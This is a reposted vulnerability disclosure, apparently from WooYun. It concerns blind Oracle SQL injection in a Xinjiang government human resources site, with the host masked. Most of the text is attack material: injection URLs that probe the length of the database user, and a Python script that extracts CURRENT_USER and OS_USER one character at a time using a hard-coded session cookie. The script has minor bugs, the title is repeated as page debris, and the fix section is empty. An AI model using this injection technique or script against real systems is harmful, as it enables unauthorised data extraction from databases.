神刀安全网

漏洞标题: 新疆人社厅Oracle盲注(附验证脚本)

漏洞详情

披露状态:

2016-04-29: 细节已通知厂商并且等待厂商处理中
2016-05-05: 厂商已经确认,细节仅向厂商公开
2016-05-15: 细节向核心白帽子及相关领域专家公开
2016-05-25: 细节向普通白帽子公开
2016-06-04: 细节向实习白帽子公开
2016-06-19: 细节向公众公开

简要描述:

.

详细说明:

注入地址:

code 区域
http://**.**.**.**/wcm/cm_ly/goToLycont.action?fhtype=1&id=8a4ac70250f05d9e0151590e127808da' AND length(SYS_CONTEXT('USERENV','CURRENT_USER'))=3 AND 'xxx'='xxx

参数id过滤不严格导致SQLi

code 区域
http://**.**.**.**/wcm/cm_ly/goToLycont.action?fhtype=1&id=8a4ac70250f05d9e0151590e127808da' AND length(SYS_CONTEXT('USERENV','CURRENT_USER'))=3 AND 'xxx'='xxx

返回正常

漏洞标题:  新疆人社厅Oracle盲注(附验证脚本)

code 区域
http://**.**.**.**/wcm/cm_ly/goToLycont.action?fhtype=1&id=8a4ac70250f05d9e0151590e127808da' AND length(SYS_CONTEXT('USERENV','CURRENT_USER'))=4 AND 'xxx'='xxx

漏洞标题:  新疆人社厅Oracle盲注(附验证脚本)

返回不一样,判断用户名为3个字符

直接放进脚本跑。这里举例CURRENT_USER和OS_USER,其他类似

code 区域
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author:

import requests
url = "http://**.**.**.**/wcm/cm_ly/goToLycont.action?fhtype=1&id=8a4ac70250f05d9e0151590e127808da"
payloads='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789@_.'
header = {
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0",
"Cookie":"JSESSIONID=5V1JXjMpQLtR92RxJ62KrMQLfY4t6xpdQCBfcXLHtT2yz4jsT7Gr!1478879510",
"Accept":""
}
def getData():
user=''
for i in range(1,4,1):
for exp in list(payloads):
try:
payload = "'AND substr(SYS_CONTEXT('USERENV','CURRENT_USER'),%s,1)='%s' AND 'xxx'='xxx" % (i,''.join(exp))
r = requests.get(url + payload,headers=header,allow_redirects=False,timeout=100)
res = r.text
#print exp
if res.find("20151130234113") >0 :
user+=exp
print '/n user is:',user,
except:
pass
print '/n[Done] Oracle user is %s' %user

def getDataBase():
user=''
for i in range(0,13,1):
for exp in list(payloads):
try:
payload = "'AND substr(SYS_CONTEXT('USERENV','OS_USER'),%s,1)='%s' AND 'xxx'='xxx" % (i,''.join(exp))
r = requests.get(url + payload,headers=header,allow_redirects=False,timeout=100)
res = r.text
#print exp
if res.find("20151130234113") >0 :
user+=exp
print '/n OS_USER is:',user,
except:
pass
print '/n[Done] Oracle OS_USER is %s' %user
if __name__ == '__main__':
#len = getLength()
getData()
getDataBase()

验证结果:

漏洞标题:  新疆人社厅Oracle盲注(附验证脚本)

漏洞证明:

漏洞标题:  新疆人社厅Oracle盲注(附验证脚本)

修复方案:

版权声明:转载请注明来源 幽灵@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 新疆人社厅Oracle盲注(附验证脚本)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址